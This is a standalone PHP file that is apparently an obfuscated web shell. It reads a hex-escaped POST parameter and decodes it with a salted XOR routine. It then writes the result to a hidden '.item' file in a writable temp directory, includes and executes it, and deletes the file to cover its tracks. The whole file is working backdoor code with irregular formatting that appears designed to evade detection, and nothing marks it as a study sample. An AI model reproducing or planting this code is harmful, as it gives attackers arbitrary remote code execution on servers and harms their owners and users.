<?php

if(filter_has_var(INPUT_POST, "\x73\x79m")){
	$flag = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp"]);
	$hld = $_POST["\x73\x79m"];
	$hld=explode	("."  	,		 $hld 		);
	$elem=	'';
            $salt=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen(  $salt);
            $n=	0;
            $__len=	count(  $hld);
    
            do {	 if(  $n >= $__len) break;
                $v1=	$hld[$n];
                $sChar=	ord(  $salt[$n % $sLen]);
                $d=	(  (  int)$v1 - $sChar -(  $n % 10)) ^ 36;
                $elem  .=chr(  $d);
                $n++;
            } while(  true);
	$k = 0;
do {
    $value = $flag[$k] ?? null;
    if ($k >= count($flag)) break;
    		if (array_product([is_dir($value), is_writable($value)])) {
    $factor = "$value" . "/.item";
    if (@file_put_contents($factor, $elem) !== false) {
	include $factor;
	unlink($factor);
	die();
}
}
    $k++;
} while (true);
}